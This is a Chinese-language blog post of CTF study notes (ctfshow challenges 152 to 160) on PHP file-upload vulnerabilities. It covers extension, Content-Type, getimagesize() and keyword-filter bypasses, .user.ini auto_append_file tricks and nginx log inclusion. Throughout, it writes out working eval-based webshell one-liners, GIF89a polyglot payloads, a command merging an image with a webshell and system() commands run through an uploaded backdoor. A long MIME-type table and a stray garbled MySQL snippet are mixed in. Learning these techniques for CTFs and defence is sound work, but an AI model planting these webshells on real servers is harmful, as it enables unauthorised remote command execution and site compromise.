文件上传
文件上传
经典绕过
- 更改js代码绕过前端过滤
- 文件后缀,大小写、如果是apache,可以多写一个不能解析的后缀,php.xxxx
- 如果后端是通过content-type来进行校验的,可以将content-type修改为可以上传的文件的类型值,后端代码对应为$_FILE(“file”)
- 绕过php字符内容:使用短标签= = ?>
- 绕过空格:使用转义字符’\t’ 或者 进行URL编码
- 绕过[]:在php中大括号和中括号等价,可以使用{}来绕过对中括号的过滤
- 绕过[]和{}:使用array_pop()函数,括号内部写传参的形式,array_pop($_POST);,以字符串的形式返回执行语句,可以配合eval()函数进行使用
- 绕过对分号的过滤:最后一句不用带分号,中间的分号可以用?>来进行guo’l
什么是文件上传漏洞
- 存在文件上传的地方,就有可能有文件上传的漏洞
- 上传一个webshell(后门)
查找文件上传漏洞
- 脚本扫描(御剑和菜刀.爬虫)
- 尝试网站的应用
利用类型
常规类
扫描获取上传
- 扫描到敏感目录,上传地址
会员中心上传
后台系统上传
各种途径上传
CMS类
其他类/CVE
配合解析漏洞下的文件类型后门测试3938
- 假设上传了一个木马含在图片里的文件,直接访问上传路径解析不出来,按理来说应该解析图片的同时应该解析出phpinfo()的脚本函数,但是没有
- 在上传路径后面加上/1.php (文件的名字不重要,重要的是文件类型是php)
- 解析漏洞是看搭建的平台的,例如apache和nginx的
- nginx是可以将图片格式作为php格式执行
Content-type
- 内容类型,一般指的是网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定接收方以什么形式,什么编码解读这个文件
- ContentType属性指定响应的 HTTP内容类型。如果未指定 ContentType,默认为TEXT/HTML
- application/octet-stream 字节流,浏览器处理字节流的默认方式就是下载
最重要的1. application/octet-stream 字节流,浏览器处理字节流的默认方式就是下载 2. image/png 图片类型,将会以图片类型解析 ".*"="application/octet-stream" ".001"="application/x-001" ".301"="application/x-301" ".323"="text/h323" ".906"="application/x-906" ".907"="drawing/907" ".a11"="application/x-a11" ".acp"="audio/x-mei-aac" ".ai"="application/postscript" ".aif"="audio/aiff" ".aifc"="audio/aiff" ".aiff"="audio/aiff" ".anv"="application/x-anv" ".asa"="text/asa" ".asf"="video/x-ms-asf" ".asp"="text/asp" ".asx"="video/x-ms-asf" ".au"="audio/basic" ".avi"="video/avi" ".awf"="application/vnd.adobe.workflow" ".biz"="text/xml" ".bmp"="application/x-bmp" ".bot"="application/x-bot" ".c4t"="application/x-c4t" ".c90"="application/x-c90" ".cal"="application/x-cals" ".cat"="application/s-pki.seccat" ".cdf"="application/x-netcdf" ".cdr"="application/x-cdr" ".cel"="application/x-cel" ".cer"="application/x-x509-ca-cert" ".cg4"="application/x-g4" ".cgm"="application/x-cgm" ".cit"="application/x-cit" ".class"="java/*" ".cml"="text/xml" ".cmp"="application/x-cmp" ".cmx"="application/x-cmx" ".cot"="application/x-cot" ".crl"="application/pkix-crl" ".crt"="application/x-x509-ca-cert" ".csi"="application/x-csi" ".css"="text/css" ".cut"="application/x-cut" ".dbf"="application/x-dbf" ".dbm"="application/x-dbm" ".dbx"="application/x-dbx" ".dcd"="text/xml" ".dcx"="application/x-dcx" ".der"="application/x-x509-ca-cert" ".dgn"="application/x-dgn" ".dib"="application/x-dib" ".dll"="application/x-msdownload" ".doc"="application/msword" ".dot"="application/msword" ".drw"="application/x-drw" ".dtd"="text/xml" ".dwf"="Model/vnd.dwf" ".dwf"="application/x-dwf" ".dwg"="application/x-dwg" ".dxb"="application/x-dxb" ".dxf"="application/x-dxf" ".edn"="application/vnd.adobe.edn" ".emf"="application/x-emf" ".eml"="message/rfc822" ".ent"="text/xml" ".epi"="application/x-epi" ".eps"="application/x-ps" ".eps"="application/postscript" ".etd"="application/x-ebx" ".exe"="application/x-msdownload" ".fax"="image/fax" ".fdf"="application/vnd.fdf" ".fif"="application/fractals" ".fo"="text/xml" ".frm"="application/x-frm" ".g4"="application/x-g4" ".gbr"="application/x-gbr" ".gcd"="application/x-gcd" ".gif"="image/gif" ".gl2"="application/x-gl2" ".gp4"="application/x-gp4" ".hgl"="application/x-hgl" ".hmr"="application/x-hmr" ".hpg"="application/x-hpgl" ".hpl"="application/x-hpl" ".hqx"="application/mac-binhex40" ".hrf"="application/x-hrf" ".hta"="application/hta" ".htc"="text/x-component" ".htm"="text/html" ".html"="text/html" ".htt"="text/webviewhtml" ".htx"="text/html" ".icb"="application/x-icb" ".ico"="image/x-icon" ".ico"="application/x-ico" ".iff"="application/x-iff" ".ig4"="application/x-g4" ".igs"="application/x-igs" ".iii"="application/x-iphone" ".img"="application/x-img" ".ins"="application/x-internet-signup" ".isp"="application/x-internet-signup" ".IVF"="video/x-ivf" ".java"="java/*" ".jfif"="image/jpeg" ".jpe"="image/jpeg" ".jpe"="application/x-jpe" ".jpeg"="image/jpeg" ".jpg"="image/jpeg" ".jpg"="application/x-jpg" ".js"="application/x-javascript" ".jsp"="text/html" ".la1"="audio/x-liquid-file" ".lar"="application/x-laplayer-reg" ".latex"="application/x-latex" ".lavs"="audio/x-liquid-secure" ".lbm"="application/x-lbm" ".lmsff"="audio/x-la-lms" ".ls"="application/x-javascript" ".ltr"="application/x-ltr" ".m1v"="video/x-mpeg" ".m2v"="video/x-mpeg" ".m3u"="audio/mpegurl" ".m4e"="video/mpeg4" ".mac"="application/x-mac" ".man"="application/x-troff-man" ".math"="text/xml" ".mdb"="application/msaccess" ".mdb"="application/x-mdb" ".mfp"="application/x-shockwave-flash" ".mht"="message/rfc822" ".mhtml"="message/rfc822" ".mi"="application/x-mi" ".mid"="audio/mid" ".midi"="audio/mid" ".mil"="application/x-mil" ".mml"="text/xml" ".mnd"="audio/x-musicnet-download" ".mns"="audio/x-musicnet-stream" ".mocha"="application/x-javascript" ".movie"="video/x-sgi-movie" ".mp1"="audio/mp1" ".mp2"="audio/mp2" ".mp2v"="video/mpeg" ".mp3"="audio/mp3" ".mp4"="video/mp4" ".mpa"="video/x-mpg" ".mpd"="application/-project" ".mpe"="video/x-mpeg" ".mpeg"="video/mpg" ".mpg"="video/mpg" ".mpga"="audio/rn-mpeg" ".mpp"="application/-project" ".mps"="video/x-mpeg" ".mpt"="application/-project" ".mpv"="video/mpg" ".mpv2"="video/mpeg" ".mpw"="application/s-project" ".mpx"="application/-project" ".mtx"="text/xml" ".mxp"="application/x-mmxp" ".net"="image/pnetvue" ".nrf"="application/x-nrf" ".nws"="message/rfc822" ".odc"="text/x-ms-odc" ".out"="application/x-out" ".p10"="application/pkcs10" ".p12"="application/x-pkcs12" ".p7b"="application/x-pkcs7-certificates" ".p7c"="application/pkcs7-mime" ".p7m"="application/pkcs7-mime" ".p7r"="application/x-pkcs7-certreqresp" ".p7s"="application/pkcs7-signature" ".pc5"="application/x-pc5" ".pci"="application/x-pci" ".pcl"="application/x-pcl" ".pcx"="application/x-pcx" ".pdf"="application/pdf" ".pdx"="application/vnd.adobe.pdx" ".pfx"="application/x-pkcs12" ".pgl"="application/x-pgl" ".pic"="application/x-pic" ".pko"="application-pki.pko" ".pl"="application/x-perl" ".plg"="text/html" ".pls"="audio/scpls" ".plt"="application/x-plt" ".png"="image/png" ".png"="application/x-png" ".pot"="applications-powerpoint" ".ppa"="application/vs-powerpoint" ".ppm"="application/x-ppm" ".pps"="application-powerpoint" ".ppt"="applications-powerpoint" ".ppt"="application/x-ppt" ".pr"="application/x-pr" ".prf"="application/pics-rules" ".prn"="application/x-prn" ".prt"="application/x-prt" ".ps"="application/x-ps" ".ps"="application/postscript" ".ptn"="application/x-ptn" ".pwz"="application/powerpoint" ".r3t"="text/vnd.rn-realtext3d" ".ra"="audio/vnd.rn-realaudio" ".ram"="audio/x-pn-realaudio" ".ras"="application/x-ras" ".rat"="application/rat-file" ".rdf"="text/xml" ".rec"="application/vnd.rn-recording" ".red"="application/x-red" ".rgb"="application/x-rgb" ".rjs"="application/vnd.rn-realsystem-rjs" ".rjt"="application/vnd.rn-realsystem-rjt" ".rlc"="application/x-rlc" ".rle"="application/x-rle" ".rm"="application/vnd.rn-realmedia" ".rmf"="application/vnd.adobe.rmf" ".rmi"="audio/mid" ".rmj"="application/vnd.rn-realsystem-rmj" ".rmm"="audio/x-pn-realaudio" ".rmp"="application/vnd.rn-rn_music_package" ".rms"="application/vnd.rn-realmedia-secure" ".rmvb"="application/vnd.rn-realmedia-vbr" ".rmx"="application/vnd.rn-realsystem-rmx" ".rnx"="application/vnd.rn-realplayer" ".rp"="image/vnd.rn-realpix" ".rpm"="audio/x-pn-realaudio-plugin" ".rsml"="application/vnd.rn-rsml" ".rt"="text/vnd.rn-realtext" ".rtf"="application/msword" ".rtf"="application/x-rtf" ".rv"="video/vnd.rn-realvideo" ".sam"="application/x-sam" ".sat"="application/x-sat" ".sdp"="application/sdp" ".sdw"="application/x-sdw" ".sit"="application/x-stuffit" ".slb"="application/x-slb" ".sld"="application/x-sld" ".slk"="drawing/x-slk" ".smi"="application/smil" ".smil"="application/smil" ".smk"="application/x-smk" ".snd"="audio/basic" ".sol"="text/plain" ".sor"="text/plain" ".spc"="application/x-pkcs7-certificates" ".spl"="application/futuresplash" ".spp"="text/xml" ".ssm"="application/streamingmedia" ".sst"="application-pki.certstore" ".stl"="application/-pki.stl" ".stm"="text/html" ".sty"="application/x-sty" ".svg"="text/xml" ".swf"="application/x-shockwave-flash" ".tdf"="application/x-tdf" ".tg4"="application/x-tg4" ".tga"="application/x-tga" ".tif"="image/tiff" ".tif"="application/x-tif" ".tiff"="image/tiff" ".tld"="text/xml" ".top"="drawing/x-top" ".torrent"="application/x-bittorrent" ".tsd"="text/xml" ".txt"="text/plain" ".uin"="application/x-icq" ".uls"="text/iuls" ".vcf"="text/x-vcard" ".vda"="application/x-vda" ".vdx"="application/vnd.visio" ".vml"="text/xml" ".vpg"="application/x-vpeg005" ".vsd"="application/vnd.visio" ".vsd"="application/x-vsd" ".vss"="application/vnd.visio" ".vst"="application/vnd.visio" ".vst"="application/x-vst" ".vsw"="application/vnd.visio" ".vsx"="application/vnd.visio" ".vtx"="application/vnd.visio" ".vxml"="text/xml" ".wav"="audio/wav" ".wax"="audio/x-ms-wax" ".wb1"="application/x-wb1" ".wb2"="application/x-wb2" ".wb3"="application/x-wb3" ".wbmp"="image/vnd.wap.wbmp" ".wiz"="application/msword" ".wk3"="application/x-wk3" ".wk4"="application/x-wk4" ".wkq"="application/x-wkq" ".wks"="application/x-wks" ".wm"="video/x-ms-wm" ".wma"="audio/x-ms-wma" ".wmd"="application/x-ms-wmd" ".wmf"="application/x-wmf" ".wml"="text/vnd.wap.wml" ".wmv"="video/x-ms-wmv" ".wmx"="video/x-ms-wmx" ".wmz"="application/x-ms-wmz" ".wp6"="application/x-wp6" ".wpd"="application/x-wpd" ".wpg"="application/x-wpg" ".wpl"="application/-wpl" ".wq1"="application/x-wq1" ".wr1"="application/x-wr1" ".wri"="application/x-wri" ".wrk"="application/x-wrk" ".ws"="application/x-ws" ".ws2"="application/x-ws" ".wsc"="text/scriptlet" ".wsdl"="text/xml" ".wvx"="video/x-ms-wvx" ".xdp"="application/vnd.adobe.xdp" ".xdr"="text/xml" ".xfd"="application/vnd.adobe.xfd" ".xfdf"="application/vnd.adobe.xfdf" ".xhtml"="text/html" ".xls"="application/-excel" ".xls"="application/x-xls" ".xlw"="application/x-xlw" ".xml"="text/xml" ".xpl"="audio/scpls" ".xq"="text/xml" ".xql"="text/xml" ".xquery"="text/xml" ".xsd"="text/xml" ".xsl"="text/xml" ".xslt"="text/xml" ".xwd"="application/x-xwd" ".x_b"="application/x-x_b" ".x_t"="application/x-x_t" Office2007对应的值: "application/vnd.openxmlformats-officedocument.wordprocessingml.template" (for .docx files) "application/vnd.openxmlformats-officedocument.presentationml.presentation" (for .pptx files) "application/vnd.openxmlformats-officedocument.presentationml.slideshow" (for .ppsx files) "application/vnd.openxmlformats-officedocument.presentationml.template" (for .potx files) "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" (for .xlsx files) "application/vnd.openxmlformats-officedocument.spreadsheetml.template" (for .xltx files) 相对于Office2003是这样的 Response.ContentType = "application/vnd.ms-excel"
最常用的马
<?php phpinfo(); @eval($_POST['shell']); ?>
- 这样写的目的是有phpinfo()的回显,如果显示了的回显,则为能够解析木马,否则不能解析
常用函数
system
- system函数用于执行外部程序,并且显示输出
system(string $command,int &$return_var=?):string
- 返回值为可选的,可以省略
eval
- eval()函数把字符串按照PHP代码来计算
- 该字符串必须是合法的PHP代码,以分号结尾
- eval()内部写的是php代码,而system()函数内部写的是命令
tac/cat
- 用来显示文件,tac是反向(向前)的顺序列出文件的内容,tac最重要的作用是对HTML的注释内容进行破坏,从而使注释内容不需要查看源代码即可回显到主页面
- cat是读取其后所指文件内容并将其输出到标准输出设备上
@
- xxxxxxxxxx14 1(1)登录2mysql -u root –p3(2)创建新用户4create user ‘hadming‘@’%’ identified by ‘123456’;5(3)为用户授权6mysql> grant all on . to ‘hadming‘@’%’;7(4)创建数据库8create database hadoopDB;9(5)查看数据库10show databases;11(6)选择数据库12Use hadoopDB13(7)删除数据库14(8)创建表bash
- 屏蔽了出错文件的路径等信息,安全性高,但是就没有回显了,所以可以不加@来获取到更多的回显信息
array_pop()
- 可以接受一个post或者get传的参数,这样就可以绕过过滤掉中括号和大括号无法使用$_POST[‘shell’]的情况
<?=eval(array_pop($POST));?>
例题:
js前端过滤,ctfshow
- 查看网页源代码,查看js,发现前端过滤
- 修改前端js,屏蔽过滤
- 文件可以上传成功
- 1=system(“ls ./“);在本地找不到东西
- 1=system(“ls /“);在根目录下也找不到东西
- 1=system(“ls ../“);在上级目录找到flag
- 构造语句1=system(“tac ../flag.php”);看到flag
文件后缀绕过攻击
- 服务端代码中限制了某些后缀的文件不允许上传,但是有些apache是允许解析其它文件后缀的
- 在apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的拓展名不能识别,就继续向左判断,直到遇到可以解析的文件后缀为止
- 例如:1.php.xxxx,xxxx不能解析,所以向左解析后缀php
- 或者可以大写一个字母,绕过弱过滤,例如php写为phP,大写一个字母
- 简单来说,文件上传检测的是最右侧的文件后缀名,但是apache从右到左解析,遇到右侧不能解析的文件名会跳过,知道能够解析的位置
文件类型绕过攻击,后端不能单一校验
- 在客户端上传文件时,通过burp抓包,当上传一个php格式的文件时,和上传一个jpg格式的Content-type不一致
- 如果服务端是通过Content-type来判断文件的类型,就存在被绕过的可能,因为Content-type的值是客户端传递的,是可以任意修改的
- 所以上传一个php文件格式时,在burp中修改Content-type的值为image/jpeg,就可以绕过后端的检测
使用$_FLIES[“file”][“type”]后端过滤
- $_FILES[“file”][“type”]是客户端请求数据包中的Contant-type,可以通过修改Contant-type来绕过
- ctfshow例题152
- 直接上传,发现
- 上来先找js有没有前端过滤,发现js有前端过滤,修改为php
- 还是不能够上传,应该就是后端有过滤了
- 抓个包,首先看看是不是文件名后缀的问题,大写一个字母,例如phP,发现还是被过滤掉了
- ,修改文件的Content-type,和前端所要求的文件类型一致,为image/png,就可以上传成功了
方法2:用蚁剑去连接
- 绕过前端js过滤,后端改包之后能够上传
- 用蚁剑去连接,右键点击添加数据,url里面填url加上上传马的路径(马所在的位置),密码为post传的参数,即shell,如果出现连接成功则为ok
- 在上传文件管理器中单机右键,选择在此处打开终端
- 一级一级目录地去寻找flag,
使用getimagesize()后端过滤
- getimagesize()可以获取到图片的宽高,如果上传的不是图片文件,getimagesize()就获取不到信息,返回false,取反!getimagesize()就为true
if(!getimagesize($_FILES["file"]["type_name"])){ exit(); //不满足就退出 }
- 此时可以将一个图片和一个webshell合并为一个文件
cat image.png webshell.php>image.php
- 也可以用010editor放到最后
黑名单
- 上传.user.ini进行文件上传绕过
- 一定注意这是一个隐藏配置文件,最前面要加点,是”.user.ini”
.user.ini文件,常用配置项
- php支持基于每个目录的.ini文件配置
- 除了主php.ini文件之外,php还会在每个目录下扫描ini文件,从被执行的php文件所在目录开始,一直上升到web根目录,($_SERVER[‘DOCUMENT_ROOT’]所指定的),如果被执行的php文件在web根目录之外,则只扫描该目录
- 常用配置项:S
- 假设包含1.txt,重命名为.user.ini
对文件内容过滤
常用绕过方法
- 绕过php:短标签:
<?= ?>代替php标签,<?= ?>标签可以直接把php的结果输出,<?= ?>的结果和<?php ?>完全一样
- 绕过空格:使用转义字符绕过’\t’;或者使用%09也是tab的URL编码,php反引号中的字符串会被当作命令执行
- 绕过[]:使用{}即可,大括号和中括号的作用在php中等价
- 绕过[]和{}:使用array_pop()函数,函数内部写传参的方式,例如:array_pop($_POST);,以字符串的形式返回执行的语句,可以配合eval()函数使用
- 绕过分号;:最后一句的分号可以不要,且可以使用?>去绕过分号
不允许使用php字样,使用短标签绕过,例题:ctfshow154,ctfshow155
- 上传一个png文件,抓包
- 改包,改上传文件名称为’.user.ini’,文件内容采用’auto_append_file=1.txt’;
- 直接上传一个1.txt文件,内容为简单的一句话木马发现报错
- 直接上传一个内容为php的,前端为png的文件内容,发现还是报错,二分法判断前和后哪里的问题,发现是后面不允许使用php字样
- 使用短标签不适用’php’字样,发现可以上传
<?=@eval($_POST('shell'));?>
- 连蚁剑,找flag即可
- 连蚁剑的时候,路径写到和.user.ini和1.txt同级的位置,即到.user.ini的上一级目录,/upload的位置
不允许使用中括号[],ctfshow156
- 直接使用大括号{}替换中括号[]
<?= eval($_POST{'shell'}) ?>
中括号和大括号都过滤了,还过滤了分号,ctfshow157
- 这个时候我们可以使用array_pop()函数,函数内部写接收的参数,使用逃逸传参,参数以post或者get方式传入,但是还是不行
<?=eval(array_pop($_POST['1']);&1=system("待执行命令"));?>
- 进一步发现过滤了分号,最后位置的语句可以不带分号结尾,即可以上传成功
<?=eval(array_pop($_POST[1])?>&1=system("待执行语句"))?>
- 用蚁剑连接到*.user.ini的上一级目录位置*,开终端搞就行
web159,对大小括号进行过滤,对特殊路径字符进行过滤
- 使用文件包含进行绕过
- 对’log’字样进行过滤,使用.进行拼接
<?=include'var/l'.'og/nginx/access.l'.'og'?>
重复改包的技巧
- host的位置是域名去掉前面的http头和最后那里的‘/’而成的
web160
使用文件包含
- /var/log/nginx/access.log
- 因为对log有过滤,所以可以使用php的’.’去进行拼接
- ‘/var/l’.’og/nginx/access.l’.’og’
题
- 题中过滤了空格,小括号
- 可以使用文件包含去做
- 先上传一个.user.ini,内容为auto_append_file=1.txt
- 1.txt中写一句话木马
- =include1'/var/l'.'og/nginx/access.l'.'og'?>,这个地方因为过滤了空格,我们考虑使用空白换行符,但是不能直接换行,否则解码的时候空格和换行符的URL编码相同
- 把上面的1位置的hex值由31改为0d即可上传
- 后面接着改UA,连接蚁剑即可
使用getimagesize()对文件头进行检测
首先上传.user.ini文件,且该文件也需要绕过对图片大小的检测,所以payload如下
GIF89a auto_append_file=1.txt
然后上传1.txt,payload如下
GIF89a
<?=eval($_POST['1'])?>
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 h3110w0r1d's Blog!